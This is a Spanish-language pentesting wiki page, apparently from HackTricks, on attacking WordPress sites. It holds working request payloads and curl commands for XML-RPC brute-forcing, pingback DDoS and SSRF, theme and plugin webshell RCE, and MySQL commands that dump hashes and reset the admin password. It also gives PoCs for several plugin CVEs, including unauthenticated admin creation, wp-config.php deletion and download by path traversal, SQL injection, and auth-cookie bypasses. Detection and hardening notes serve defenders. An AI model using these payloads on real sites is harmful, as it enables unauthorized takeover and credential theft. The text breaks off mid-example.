Wordpress

Reading time: 34 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información básica

  • Los archivos subidos van a: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Los archivos de temas se pueden encontrar en /wp-content/themes/, así que si cambias algún php del tema para obtener RCE probablemente usarás esa ruta. Por ejemplo: Usando theme twentytwelve puedes acceder al archivo 404.php en: /wp-content/themes/twentytwelve/404.php

  • Otra URL útil podría ser: /wp-content/themes/default/404.php

  • En wp-config.php puedes encontrar la contraseña root de la base de datos.

  • Rutas de login por defecto para revisar: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Archivos principales de WordPress

  • index.php
  • license.txt contiene información útil, como la versión de WordPress instalada.
  • wp-activate.php se usa para el proceso de activación por email al configurar un nuevo sitio WordPress.
  • Carpetas de login (pueden ser renombradas para ocultarlas):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php es un archivo que representa una funcionalidad de WordPress que permite transmitir datos usando HTTP como mecanismo de transporte y XML como mecanismo de codificación. Este tipo de comunicación ha sido reemplazada por la WordPress REST API.
  • La carpeta wp-content es el directorio principal donde se almacenan plugins y temas.
  • wp-content/uploads/ es el directorio donde se almacenan los archivos subidos a la plataforma.
  • wp-includes/ es el directorio donde se guardan los archivos core, como certificados, fuentes, archivos JavaScript y widgets.
  • wp-sitemap.xml En versiones de Wordpress 5.5 y superiores, Wordpress genera un archivo sitemap XML con todas las entradas públicas y los tipos de post y taxonomías consultables públicamente.

Post-explotación

  • El archivo wp-config.php contiene la información requerida por WordPress para conectarse a la base de datos, como el nombre de la base de datos, host de la base de datos, usuario y contraseña, authentication keys and salts, y el prefijo de las tablas de la base de datos. Este archivo de configuración también puede usarse para activar el modo DEBUG, lo cual puede ser útil para troubleshooting.

Permisos de usuarios

  • Administrator
  • Editor: Publica y gestiona sus propios posts y los de otros
  • Author: Publica y gestiona sus propios posts
  • Contributor: Escribe y gestiona sus posts pero no puede publicarlos
  • Subscriber: Consulta las entradas y edita su perfil

Enumeración pasiva

Obtener la versión de WordPress

Comprueba si puedes encontrar los archivos /license.txt o /readme.html

Dentro del código fuente de la página (ejemplo de https://wordpress.org/support/article/pages/):

  • grep
bash
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • Archivos de enlace CSS

  • Archivos JavaScript

Obtener Plugins

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Obtener temas

bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Extraer versiones en general

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Enumeración activa

Plugins y Temas

Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrirlos todos, tendrás que Brute Force activamente una lista de Plugins y Temas (esperemos que existan herramientas automatizadas que contengan estas listas).

Usuarios

  • ID Brute: Obtienes usuarios válidos de un sitio WordPress al Brute Forcing los IDs de usuarios:
bash
curl -s -I -X GET http://blog.example.com/?author=1

Si las respuestas son 200 o 30X, eso significa que el id es válido. Si la respuesta es 400, entonces el id es inválido.

  • wp-json: También puedes intentar obtener información sobre los usuarios consultando:
bash
curl http://blog.example.com/wp-json/wp/v2/users

Otro endpoint /wp-json/ que puede revelar alguna información sobre usuarios es:

bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Ten en cuenta que este endpoint solo expone usuarios que han hecho una publicación. Solo se proporcionará información sobre los usuarios que tengan esta función habilitada.

También ten en cuenta que /wp-json/wp/v2/pages could leak direcciones IP.

  • Login username enumeration: Al iniciar sesión en /wp-login.php el mensaje es diferente si indica si el username exists or not.

XML-RPC

Si xml-rpc.php está activo puedes realizar un credentials brute-force o usarlo para lanzar ataques DoS a otros recursos. (Puedes automatizar este proceso using this por ejemplo).

Para ver si está activo intenta acceder a /xmlrpc.php y enviar esta solicitud:

Comprobar

html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories o metaWeblog.getUsersBlogs son algunos de los métodos que pueden usarse para brute-force credentials. Si puedes encontrar alguno de ellos, puedes enviar algo como:

html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

El mensaje "Nombre de usuario o contraseña incorrectos" dentro de una respuesta con código 200 debería aparecer si las credenciales no son válidas.

Con las credenciales correctas puedes subir un archivo. En la respuesta aparecerá la ruta (https://gist.github.com/georgestephanis/5681982)

html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Also there is a faster way to brute-force credentials using system.multicall as you can try several credentials on the same request:

Bypass 2FA

Este método está pensado para programas y no para humanos, y es antiguo; por eso no soporta 2FA. Así que, si tienes creds válidos pero la entrada principal está protegida por 2FA, podrías abusar de xmlrpc.php para login con esos creds bypassing 2FA. Ten en cuenta que no podrás realizar todas las acciones que puedes hacer a través de la consola, pero todavía podrías llegar a RCE como Ippsec lo explica en https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS or port scanning

Si puedes encontrar el método pingback.ping dentro de la lista, puedes hacer que Wordpress envíe una petición arbitraria a cualquier host/puerto. Esto puede usarse para pedirle a miles de sitios Wordpress que accedan a una ubicación (provocando así un DDoS en ese destino) o puedes usarlo para hacer que Wordpress escanee alguna red interna (puedes indicar cualquier puerto).

html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Si obtienes faultCode con un valor mayor que 0 (17), significa que el puerto está abierto.

Revisa el uso de system.multicall en la sección anterior para aprender cómo abusar de este método para causar DDoS.

DDoS

html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Este archivo suele existir en la raíz del sitio Wordpress: /wp-cron.php
Cuando este archivo es accedido se ejecuta una consulta MySQL "pesada", por lo que podría ser usado por atacantes para causar un DoS.
Además, por defecto, el wp-cron.php se llama en cada carga de página (cada vez que un cliente solicita cualquier página de Wordpress), lo que en sitios de alto tráfico puede causar problemas (DoS).

Se recomienda desactivar Wp-Cron y crear un cronjob real dentro del host que ejecute las acciones necesarias en intervalos regulares (sin causar problemas).

/wp-json/oembed/1.0/proxy - SSRF

Intenta acceder a https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net y el sitio Wordpress puede hacer una petición hacia ti.

This is the response when it doesn't work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

Esta herramienta comprueba si existe methodName: pingback.ping y la ruta /wp-json/oembed/1.0/proxy, y si existen, intenta explotarlos.

Herramientas automáticas

bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Obtener acceso sobrescribiendo un bit

Más que un ataque real, esto es una curiosidad. En el CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man podías voltear 1 bit de cualquier archivo de wordpress. Así, podías voltear la posición 5389 del archivo /var/www/html/wp-includes/user.php para convertir en NOP la operación NOT (!).

php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Modificando un php del tema usado (se necesitan credenciales de administrador)

Apariencia → Editor de temas → Plantilla 404 (a la derecha)

Cambia el contenido por un shell PHP:

Busca en internet cómo puedes acceder a esa página actualizada. En este caso tienes que acceder aquí: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Puedes usar:

bash
use exploit/unix/webapp/wp_admin_shell_upload

para obtener una sesión.

Plugin RCE

PHP plugin

Puede ser posible subir archivos .php como un plugin.
Crea tu php backdoor usando por ejemplo:

Luego agrega un nuevo plugin:

Sube el plugin y presiona Install Now:

Haz clic en Procced:

Probablemente esto aparentemente no hará nada, pero si vas a Media, verás tu shell subido:

Accede a él y verás la URL para ejecutar el reverse shell:

Subiendo y activando un plugin malicioso

Este método implica la instalación de un plugin malicioso conocido por ser vulnerable y que puede explotarse para obtener un web shell. Este proceso se realiza a través del Dashboard de WordPress de la siguiente manera:

  1. Adquisición del plugin: El plugin se obtiene de una fuente como Exploit DB like here.
  2. Instalación del plugin:
  • Navega al Dashboard de WordPress, luego ve a Dashboard > Plugins > Upload Plugin.
  • Sube el archivo zip del plugin descargado.
  1. Activación del plugin: Una vez que el plugin se instala correctamente, debe activarse a través del dashboard.
  2. Explotación:
  • Con el plugin "reflex-gallery" instalado y activado, puede explotarse ya que es conocido por ser vulnerable.
  • El Metasploit framework proporciona un exploit para esta vulnerabilidad. Al cargar el módulo apropiado y ejecutar comandos específicos, puede establecerse una sesión meterpreter, otorgando acceso no autorizado al sitio.
  • Se señala que este es solo uno de los muchos métodos para explotar un sitio WordPress.

El contenido incluye ayudas visuales que muestran los pasos en el dashboard de WordPress para instalar y activar el plugin. Sin embargo, es importante notar que explotar vulnerabilidades de esta manera es ilegal y poco ético sin la debida autorización. Esta información debe usarse de forma responsable y solo en un contexto legal, como pentesting con permiso explícito.

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike es un script diseñado para escalar una vulnerabilidad de Cross-Site Scripting (XSS) a Remote Code Execution (RCE) u otras vulnerabilidades críticas en WordPress. Para más info revisa this post. Proporciona soporte para versiones de WordPress 6.X.X, 5.X.X y 4.X.X y permite:
  • Privilege Escalation: Crea un usuario en WordPress.
  • (RCE) Custom Plugin (backdoor) Upload: Sube tu plugin personalizado (backdoor) a WordPress.
  • (RCE) Built-In Plugin Edit: Edita plugins Built-In en WordPress.
  • (RCE) Built-In Theme Edit: Edita themes Built-In en WordPress.
  • (Custom) Custom Exploits: Exploits personalizados para plugins/temas de terceros de WordPress.

Post Exploitation

Extraer nombres de usuario y contraseñas:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Cambiar la contraseña del administrador:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Attack Surface

Saber cómo un plugin de Wordpress puede exponer funcionalidad es clave para encontrar vulnerabilidades en dicha funcionalidad. Puedes ver cómo un plugin puede exponer funcionalidad en los siguientes puntos y algunos ejemplos de plugins vulnerables en this blog post.

  • wp_ajax

Una de las formas en que un plugin puede exponer funciones a los usuarios es vía handlers de AJAX. Estos pueden contener errores de lógica, autorización o autenticación. Además, es bastante frecuente que estas funciones basen tanto la autenticación como la autorización en la existencia de un wordpress nonce que cualquier usuario autenticado en la instancia de Wordpress podría tener (independientemente de su rol).

Estas son las funciones que pueden usarse para exponer una función en un plugin:

php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

El uso de nopriv hace que el endpoint sea accesible por cualquier usuario (incluso por usuarios no autenticados).

caution

Además, si la función solo está comprobando la autorización del usuario con la función wp_verify_nonce, esa función únicamente verifica que el usuario haya iniciado sesión; normalmente no comprueba el rol del usuario. Por ello, usuarios con bajos privilegios podrían tener acceso a acciones de alto privilegio.

  • REST API

También es posible exponer funciones desde wordpress registrando una REST API usando la función register_rest_route:

php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

El permission_callback es una callback a una función que verifica si un usuario dado está autorizado para llamar al método de la API.

Si se usa la función integrada __return_true, simplemente omitirá la comprobación de permisos de usuario.

  • Acceso directo al archivo PHP

Por supuesto, Wordpress usa PHP y los archivos dentro de los plugins son directamente accesibles desde la web. Así que, en caso de que un plugin exponga alguna funcionalidad vulnerable que se active simplemente accediendo al archivo, será explotable por cualquier usuario.

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

Algunos plugins implementan “trusted header” shortcuts para integraciones internas o reverse proxies y luego usan ese header para establecer el contexto del usuario actual en las peticiones REST. Si el header no está vinculado criptográficamente a la petición por un componente upstream, un atacante puede falsificarlo y acceder a rutas REST privilegiadas como administrador.

  • Impacto: escalada de privilegios sin autenticación a admin creando un nuevo administrador vía la core users REST route.
  • Example header: X-Wcpay-Platform-Checkout-User: 1 (fuerza el ID de usuario 1, típicamente la primera cuenta de administrador).
  • Exploited route: POST /wp-json/wp/v2/users con un array de rol elevado.

PoC

http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Por qué funciona

  • El plugin asigna una cabecera controlada por el cliente al estado de autenticación y omite las comprobaciones de capacidades.
  • WordPress core espera la capacidad create_users para esta ruta; el hack del plugin la evita estableciendo directamente el contexto del usuario actual a partir de la cabecera.

Indicadores de éxito esperados

  • HTTP 201 con un cuerpo JSON que describe el usuario creado.
  • Un nuevo usuario administrador visible en wp-admin/users.php.

Lista de comprobación de detección

  • Buscar con grep getallheaders(), $_SERVER['HTTP_...'], o SDKs de terceros que lean cabeceras personalizadas para establecer el contexto de usuario (p. ej., wp_set_current_user(), wp_set_auth_cookie()).
  • Revisar los registros de REST en busca de callbacks privilegiados que carezcan de comprobaciones robustas de permission_callback y en su lugar dependan de las cabeceras de la petición.
  • Buscar usos de funciones core de gestión de usuarios (wp_insert_user, wp_create_user) dentro de manejadores REST que estén protegidos únicamente por valores de cabeceras.

Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)

Los temas y plugins de WordPress frecuentemente exponen manejadores AJAX a través de los hooks wp_ajax_ y wp_ajax_nopriv_. Cuando la variante nopriv se usa la callback se vuelve accesible por visitantes no autenticados, por lo que cualquier acción sensible debe además implementar:

  1. Una comprobación de capacidades (p. ej. current_user_can() o al menos is_user_logged_in()), y
  2. Un nonce CSRF validado con check_ajax_referer() / wp_verify_nonce(), y
  3. Sanitización / validación estricta de entradas.

El tema multipropósito Litho (< 3.1) olvidó esos 3 controles en la funcionalidad Remove Font Family y terminó distribuyendo el siguiente código (simplificado):

php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

Problemas introducidos por este fragmento:

  • Acceso no autenticado – el wp_ajax_nopriv_ hook está registrado.
  • No nonce / capability check – cualquier visitante puede acceder al endpoint.
  • Sin saneamiento de rutas – la cadena controlada por el usuario fontfamily se concatena a una ruta del sistema de archivos sin filtrar, permitiendo el clásico ../../ traversal.

Explotación

Un atacante puede eliminar cualquier archivo o directorio por debajo del directorio base de uploads (normalmente <wp-root>/wp-content/uploads/) enviando una única petición HTTP POST:

bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).

Other impactful targets include plugin/theme .php files (to break security plugins) or .htaccess rules.

Detection checklist

  • Cualquier callback add_action( 'wp_ajax_nopriv_...') que invoque helpers del sistema de archivos (copy(), unlink(), $wp_filesystem->delete(), etc.).
  • Concatenación de entrada de usuario no saneada en rutas (buscar $_POST, $_GET, $_REQUEST).
  • Ausencia de check_ajax_referer() y current_user_can()/is_user_logged_in().

Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")

Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., $_REQUEST['reset-for']) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.

A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on reset-for=<username> if the username appeared in an internal array $options['viewing_admin_as_role_are'], but performed neither a current_user_can() check nor a nonce verification before removing current roles and re-adding the saved roles from user meta _asenha_view_admin_as_original_roles:

php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Por qué es explotable

  • Confía en $_REQUEST['reset-for'] y en una opción del plugin sin autorización del lado del servidor.
  • Si un usuario previamente tenía privilegios más altos guardados en _asenha_view_admin_as_original_roles y fue degradado, puede restaurarlos accediendo a la ruta de reset.
  • En algunas implementaciones, cualquier usuario autenticado podría desencadenar un reset para otro nombre de usuario todavía presente en viewing_admin_as_role_are (autorización rota).

Explotación (ejemplo)

bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

En builds vulnerables esto elimina los roles actuales y vuelve a añadir los roles originales guardados (p. ej., administrator), effectively escalating privileges.

Detection checklist

  • Look for role-switching features that persist “original roles” in user meta (e.g., _asenha_view_admin_as_original_roles).
  • Identify reset/restore paths that:
  • Read usernames from $_REQUEST / $_GET / $_POST.
  • Modify roles via add_role() / remove_role() without current_user_can() and wp_verify_nonce() / check_admin_referer().
  • Authorize based on a plugin option array (e.g., viewing_admin_as_role_are) instead of the actor’s capabilities.

Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)

Algunos plugins enganchan helpers de user-switching al hook público init y derivan la identidad a partir de una cookie controlada por el cliente. Si el código llama a wp_set_auth_cookie() sin verificar autenticación, capability y un nonce válido, cualquier visitante no autenticado puede forzar el inicio de sesión como un ID de usuario arbitrario.

Patrón vulnerable típico (simplificado de Service Finder Bookings ≤ 6.1):

php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

Por qué es explotable

  • El hook público init hace que el handler sea accesible por usuarios no autenticados (sin la verificación is_user_logged_in()).
  • La identidad se deriva de una cookie modificable por el cliente (original_user_id).
  • Una llamada directa a wp_set_auth_cookie($uid) inicia sesión al solicitante como ese usuario sin comprobaciones de capability/nonce.

Explotación (sin autenticación)

http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

Consideraciones de WAF para CVEs de WordPress/plugins

Los WAF genéricos de edge/servidor están ajustados para patrones amplios (SQLi, XSS, LFI). Muchas vulnerabilidades de alto impacto en WordPress/plugins son fallos de lógica/autenticación específicos de la aplicación que parecen tráfico benigno a menos que el motor entienda las rutas de WordPress y la semántica del plugin.

Notas ofensivas

  • Apunta a endpoints específicos del plugin con payloads limpios: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • Prueba primero rutas no autenticadas (AJAX nopriv, REST con permissive permission_callback, shortcodes públicos). Los payloads por defecto suelen funcionar sin ofuscación.
  • Casos típicos de alto impacto: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.

Notas defensivas

  • No confíes en firmas genéricas de WAF para proteger CVEs de plugins. Implementa parches virtuales a nivel de aplicación específicos para la vulnerabilidad o actualiza rápidamente.
  • Prefiere controles de seguridad de tipo positivo en el código (capabilities, nonces, strict input validation) en lugar de filtros regex negativos.

Protección de WordPress

Actualizaciones regulares

Asegúrate de que WordPress, los plugins y los themes estén actualizados. También confirma que la actualización automática esté habilitada en wp-config.php:

bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Also, instala solo plugins y temas de WordPress de confianza.

Plugins de seguridad

Otras recomendaciones

  • Eliminar el usuario predeterminado admin
  • Usar contraseñas fuertes y 2FA
  • Revisar periódicamente los permisos de los usuarios
  • Limitar los intentos de inicio de sesión para prevenir Brute Force attacks
  • Renombrar el archivo wp-admin.php y permitir acceso solo internamente o desde ciertas direcciones IP.

Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)

El plugin de reclutamiento WP Job Portal expuso una tarea savecategory que finalmente ejecuta el siguiente código vulnerable dentro de modules/category/model.php::validateFormData():

php
$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Problems introducidos por este fragmento:

  1. Unsanitised user inputparentid proviene directamente de la petición HTTP.
  2. String concatenation inside the WHERE clause – no hay is_numeric() / esc_sql() / prepared statement.
  3. Unauthenticated reachability – aunque la acción se ejecuta a través de admin-post.php, la única comprobación es un CSRF nonce (wp_verify_nonce()), que cualquier visitante puede obtener desde una página pública que incluya el shortcode [wpjobportal_my_resumes].

Explotación

  1. Obtener un nonce fresco:
bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. Inyectar SQL arbitrario abusando de parentid:
bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

La respuesta revela el resultado de la consulta inyectada o altera la base de datos, demostrando SQLi.

Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)

Otra tarea, downloadcustomfile, permitía a los visitantes descargar cualquier archivo en disco mediante path traversal. El vulnerable sink está ubicado en modules/customfield/model.php::downloadCustomUploadedFile():

php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name está controlado por el atacante y concatenado sin saneamiento. De nuevo, la única barrera es un CSRF nonce que puede obtenerse desde la página del currículum.

Explotación

bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

El servidor responde con el contenido de wp-config.php, leaking DB credentials and auth keys.

Toma de control de cuenta no autenticada vía Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)

Muchos temas/plugins incluyen helpers de "social login" expuestos a través de admin-ajax.php. Si una acción AJAX no autenticada (wp_ajax_nopriv_...) confía en identificadores proporcionados por el cliente cuando faltan los datos del proveedor y luego llama a wp_set_auth_cookie(), esto se convierte en un bypass de autenticación completo.

Patrón defectuoso típico (simplificado)

php
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb':     /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token   */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}

// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');

if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}

$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);

Por qué es explotable

  • Accesible sin autenticación vía admin-ajax.php (acción wp_ajax_nopriv_…).
  • No hay comprobaciones de nonce/capability antes del cambio de estado.
  • Falta verificación del proveedor OAuth/OpenID; la rama por defecto acepta la entrada del atacante.
  • get_user_by('email', $_POST['id']) seguido de wp_set_auth_cookie($uid) autentica al solicitante como cualquier dirección de correo existente.

Explotación (sin autenticación)

  • Prerrequisitos: el atacante puede alcanzar /wp-admin/admin-ajax.php y conoce/adivina un correo electrónico de usuario válido.
  • Establecer el proveedor en un valor no soportado (o omitirlo) para alcanzar la rama por defecto y pasar id=<victim_email>.
http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded

action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
bash
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"

Indicadores de éxito esperados

  • HTTP 200 con cuerpo JSON como {"status":"success","message":"Login successfully."}.
  • Set-Cookie: wordpress_logged_in_* para el usuario víctima; solicitudes posteriores están autenticadas.

Encontrar la acción

  • Inspeccionar el theme/plugin buscando add_action('wp_ajax_nopriv_...', '...') registrados en el código de social login (p. ej., framework/add-ons/social-login/class-social-login.php).
  • Grep for wp_set_auth_cookie(), get_user_by('email', ...) dentro de los handlers AJAX.

Lista de verificación de detección

  • Logs web mostrando POSTs no autenticados a /wp-admin/admin-ajax.php con la acción social-login y id=.
  • Respuestas 200 con el JSON de éxito inmediatamente precediendo tráfico autenticado desde la misma IP/User-Agent.

Endurecimiento

  • No derives la identidad de la entrada del cliente. Aceptar solo emails/IDs que se originen de un token/ID de proveedor validado.
  • Requerir nonces CSRF y comprobaciones de capabilities incluso para login helpers; evitar registrar wp_ajax_nopriv_ a menos que sea estrictamente necesario.
  • Validar y verificar las respuestas OAuth/OIDC en el servidor; rechazar proveedores faltantes/invalidos (sin fallback a POST id).
  • Considerar deshabilitar temporalmente social login o parchear virtualmente en el edge (bloquear la acción vulnerable) hasta que se corrija.

Comportamiento parcheado (Jobmonster 4.8.0)

  • Se eliminó el fallback inseguro de $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).

Escalada de privilegios no autenticada mediante creación de tokens/claves REST sobre identidad predecible (OttoKit/SureTriggers ≤ 1.0.82)

Algunos plugins exponen endpoints REST que crean “connection keys” reutilizables o tokens sin verificar las capacidades del llamador. Si la ruta autentica solo en un atributo adivinable (p. ej., username) y no liga la key a un usuario/sesión con comprobaciones de capability, cualquier atacante no autenticado puede generar una key e invocar acciones privilegiadas (creación de cuenta admin, acciones del plugin → RCE).

  • Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
  • Flaw: acepta un username, emite una clave de conexión sin current_user_can() ni un permission_callback estricto
  • Impact: toma de control total encadenando la key generada a acciones internas privilegiadas

PoC – generar una clave de conexión y usarla

bash
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
